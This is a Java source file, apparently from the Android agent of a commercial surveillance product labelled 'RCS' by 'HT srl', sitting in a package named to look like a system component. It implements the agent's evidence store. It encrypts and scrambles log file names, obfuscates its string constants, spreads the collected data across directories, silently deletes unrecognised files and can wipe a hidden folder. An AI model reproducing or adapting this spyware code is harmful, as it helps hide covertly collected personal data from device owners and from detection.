/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : EvidenceCollector.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.evidence;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.TreeMap;
import java.util.Vector;
import android.content.Context;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.crypto.Encryption;
import com.android.dvci.crypto.Keys;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.mm.M;
// TODO: Auto-generated Javadoc
/**
* The Class EvidenceCollector.
*/
public class EvidenceCollector {
/** The debug. */
private static final String TAG = "EvidenceColl"; //$NON-NLS-1$
/** The Constant LOG_EXTENSION. */
public static final String LOG_EXTENSION = M.e(".mob"); //$NON-NLS-1$
/** The Constant LOG_DIR_PREFIX. */
public static final String LOG_DIR_PREFIX = M.e("Z"); // Utilizzato per creare le //$NON-NLS-1$
// Log Dir
/** The Constant LOG_DIR_FORMAT. */
public static final String LOG_DIR_FORMAT = M.e("Z*"); // Utilizzato nella //$NON-NLS-1$
// ricerca delle Log Dir
/** The Constant LOG_PER_DIRECTORY. */
public static final int LOG_PER_DIRECTORY = 500; // Numero massimo di log
// per ogni directory
/** The Constant MAX_LOG_NUM. */
public static final int MAX_LOG_NUM = 25000; // Numero massimo di log che
/** The Constant PROG_FILENAME. */
private static final String PROG_FILENAME = M.e("geb"); //$NON-NLS-1$
public static final String LOG_TMP = M.e(".dat"); //$NON-NLS-1$
/** The seed. */
int seed;
/** The singleton. */
private volatile static EvidenceCollector singleton;
private static Object evidenceCollectorLock = new Object();
private String prefix = M.e("l_");
/**
* Self.
*
* @return the evidence collector
*/
public static EvidenceCollector self() {
if (singleton == null) {
synchronized (evidenceCollectorLock) {
if (singleton == null) {
singleton = new EvidenceCollector();
}
}
}
return singleton;
}
/**
* Decrypt name.
*
* @param logMask
* the log mask
* @return the string
*/
public static String decryptName(final String logMask) {
return Encryption.decryptName(logMask, Keys.self().getChallengeKey()[0]);
}
/**
* Encrypt name.
*
* @param logMask
* the log mask
* @return the string
*/
public static String encryptName(final String logMask) {
final byte[] key = Keys.self().getChallengeKey();
return Encryption.encryptName(logMask, key[0]);
}
// public boolean storeToMMC;
/** The log vector. */
Vector<String> logVector;
/** The log progressive. */
private int logProgressive;
// Keys keys;
/**
* Instantiates a new log collector.
*/
private EvidenceCollector() {
super();
logVector = new Vector<String>();
logProgressive = deserializeProgressive();
flushEvidences();
// keys = Encryption.getKeys();
// seed = keys.getChallengeKey()[0];
}
/**
* Removes the progressive.
*/
public synchronized void removeProgressive() {
if (Cfg.DEBUG) {
Check.log(TAG + " Info: Removing Progressive");//$NON-NLS-1$
}
final Context content = Status.getAppContext();
try {
content.deleteFile(PROG_FILENAME);
} catch (Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
}
}
/**
* Deserialize progressive.
*
* @return the int
*/
private synchronized int deserializeProgressive() {
final Context content = Status.getAppContext();
int progessive = 0;
try {
//TODO: togliere, usare la data di sistema
final FileInputStream fos = content.openFileInput(PROG_FILENAME);
final byte[] prog = new byte[4];
fos.read(prog);
progessive = ByteArray.byteArrayToInt(prog, 0);
fos.close();
} catch (final IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " Warn: " + e.toString());//$NON-NLS-1$
}
}
return progessive;
}
/**
* Gets the new progressive.
*
* @return the new progressive
*/
protected synchronized int getNewProgressive() {
logProgressive++;
final Context content = Status.getAppContext();
try {
final FileOutputStream fos = content.openFileOutput(PROG_FILENAME, Context.MODE_PRIVATE);
fos.write(ByteArray.intToByteArray(logProgressive));
fos.close();
} catch (final IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: " + e.toString());//$NON-NLS-1$
}
}
return logProgressive;
}
/**
* Make date name.
*
* @param date
* the date
* @return the string
*/
private static String makeDateName(final Date date) {
final long millis = date.getTime();
final long mask = (long) 1E4;
final int lodate = (int) (millis % mask);
final int hidate = (int) (millis / mask);
final String newname = Integer.toHexString(lodate) + Integer.toHexString(hidate);
return newname;
}
/**
* Make new name.
*
* @param log
* the log
* @param logType
* the log type
* @return the vector
*/
public synchronized Name makeNewName(final Evidence log, final String logType) {
final Date timestamp = log.timestamp;
final int progressive = getNewProgressive();
if (Cfg.DEBUG) {
Check.asserts(progressive >= 0, "makeNewName fail progressive >=0"); //$NON-NLS-1$
}
final String basePath = Path.logs();
final String blockDir = prefix + (progressive / LOG_PER_DIRECTORY); //$NON-NLS-1$
// http://www.rgagnon.com/javadetails/java-0021.html
final String mask = M.e("0000"); //$NON-NLS-1$
final String ds = Long.toString(progressive % 10000); // double to
// string
final int size = mask.length() - ds.length();
if (Cfg.DEBUG) {
Check.asserts(size >= 0, "makeNewName: failed size>0"); //$NON-NLS-1$
}
final String paddedProgressive = mask.substring(0, size) + ds;
final String fileName = paddedProgressive + "" + logType + "" + makeDateName(timestamp); //$NON-NLS-1$ //$NON-NLS-2$
final String encName = encryptName(fileName + LOG_EXTENSION);
if (Cfg.DEBUG) {
Check.asserts(!encName.endsWith("mob"), "makeNewName: " + encName + " ch: " + seed + " not scrambled: " //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$
+ fileName + LOG_EXTENSION);
}
final Name name = new Name();
name.progressive = progressive;
name.basePath = basePath;
name.blockDir = blockDir;
name.encName = encName;
name.fileName = fileName;
return name;
}
/**
* Removes the.
*
* @param logName
* the log name
*/
public void remove(final String logName) {
// if(AutoConfig.DEBUG) Check.log( TAG + " Removing file: " + logName) ;//$NON-NLS-1$
final AutoFile file = new AutoFile(logName);
file.delete();
}
/**
* Rimuove i file uploadati e le directory dei log dal sistema e dalla MMC.
* @return the int
*/
public synchronized int removeHidden() {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeHidden)");//$NON-NLS-1$
}
final int removed = removeRecursive(new File(Path.hidden()), Integer.MAX_VALUE);
return removed;
}
/**
* Removes the log recursive.
*
* @param basePath
* the base path
* @param numFiles
* the num files
* @return the int
*/
private int removeRecursive(final File basePath, final int numFiles) {
int numLogsDeleted = 0;
// File fc;
try {
// fc = new File(basePath);
if (basePath.isDirectory()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeRecursive): " + basePath.getName());//$NON-NLS-1$
}
final File[] fileLogs = basePath.listFiles();
for (final File file : fileLogs) {
final int removed = removeRecursive(file, numFiles - numLogsDeleted);
numLogsDeleted += removed;
}
}
if (!basePath.delete()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (removeRecursive) Error: " + basePath.getAbsolutePath());//$NON-NLS-1$
}
} else {
numLogsDeleted += 1;
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: removeLog: " + basePath + " ex: " + e);//$NON-NLS-1$ //$NON-NLS-2$
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " removeLogRecursive removed: " + numLogsDeleted);//$NON-NLS-1$
}
return numLogsDeleted;
}
/**
* Restituisce la lista ordinata dele dir secondo il nome.
*
* @param currentPath
* the current path
* @return the vector
*/
public static Vector<String> scanForDirLogs(final String currentPath) {
if (Cfg.DEBUG) {
Check.requires(currentPath != null, "null argument"); //$NON-NLS-1$
}
File fc;
final Vector<String> vector = new Vector<String>();
try {
fc = new File(currentPath);
if (fc.isDirectory()) {
final String[] fileLogs = fc.list();
for (final String dir : fileLogs) {
final File fdir = new File(currentPath + dir);
if (fdir.isDirectory()) {
vector.addElement(dir + "/"); //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.log(TAG + " scanForDirLogs adding: " + dir);//$NON-NLS-1$
}
}
}
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: scanForDirLogs: " + e);//$NON-NLS-1$
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " scanForDirLogs #: " + vector.size());//$NON-NLS-1$
}
return vector;
}
/**
* Estrae la lista di log nella forma *.MOB dentro la directory specificata
* da currentPath, nella forma 1_n Restituisce la lista ordinata secondo il
* nome demangled
*
* @param currentPath
* the current path
* @param dir
* the dir
* @return the vector
*/
public static String[] scanForEvidences(final String currentPath, final String dir) {
if (Cfg.DEBUG) {
Check.requires(currentPath != null, "null argument"); //$NON-NLS-1$
}
if (Cfg.DEBUG) {
Check.requires(!currentPath.startsWith("file://"), "currentPath shouldn't start with file:// : " //$NON-NLS-1$ //$NON-NLS-2$
+ currentPath);
}
final TreeMap<String, String> map = new TreeMap<String, String>();
File fcDir = null;
// FileConnection fcFile = null;
try {
fcDir = new File(currentPath + dir);
final String[] fileLogs = fcDir.list();
for (final String file : fileLogs) {
// fcFile = (FileConnection) Connector.open(fcDir.getURL() +
// file);
// e' un file, vediamo se e' un file nostro
final String logMask = EvidenceCollector.LOG_EXTENSION;
final String encLogMask = encryptName(logMask);
if (file.endsWith(encLogMask)) {
// String encName = fcFile.getName();
final String plainName = decryptName(file);
map.put(plainName, file);
} else if (file.endsWith(EvidenceCollector.LOG_TMP) && notVeryOld(fcDir, file)) {
if (Cfg.DEBUG) {
Check.log(TAG + " ignoring temp file: " + decryptName(file));//$NON-NLS-1$
}
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " Info: wrong name, deleting: " + fcDir + "/" + decryptName(file));//$NON-NLS-1$ //$NON-NLS-2$
}
final File toDelete = new File(fcDir, file);
toDelete.delete();
}
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: scanForLogs: " + e);//$NON-NLS-1$
}
} finally {
}
if (Cfg.DEBUG) {
Check.log(TAG + " scanForLogs numDirs: " + map.size());//$NON-NLS-1$
}
final ArrayList<String> val = new ArrayList<String>(map.values());
// Collections.reverse(val);
return val.toArray(new String[] {});
}
private static boolean notVeryOld(File fcDir, String file) {
final File toVerify = new File(fcDir, file);
Date now = new Date();
long oldFile = 1000 * 3600 * 24;
long elapsed = now.getTime() - toVerify.lastModified();
boolean young = elapsed < oldFile;
return young;
}
/**
* I file tmp vengono rinominati in mob
*/
public static void flushEvidences() {
String basePath = Path.logs();
final Vector<String> dirs = scanForDirLogs(basePath);
final int dsize = dirs.size();
if (Cfg.DEBUG) {
Check.log(TAG + " sendEvidences #directories: " + dsize); //$NON-NLS-1$
}
for (int i = 0; i < dsize; ++i) {
final String dir = (String) dirs.elementAt(i); // per reverse:
// dsize-i-1
File fcDir = null;
try {
fcDir = new File(basePath + dir);
final String[] fileLogs = fcDir.list();
for (final String file : fileLogs) {
// fcFile = (FileConnection) Connector.open(fcDir.getURL() +
// file);
// e' un file, vediamo se e' un file nostro
if (file.endsWith(EvidenceCollector.LOG_TMP)) {
if (Cfg.DEBUG) {
Check.log(TAG + " WARNING (flushEvidences): " + decryptName(file));
}
AutoFile tmp = new AutoFile(fcDir.getPath(), file);
tmp.dropExtension(EvidenceCollector.LOG_TMP);
}
}
} catch (final Exception e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: scanForLogs: " + e);//$NON-NLS-1$
}
} finally {
}
}
}
}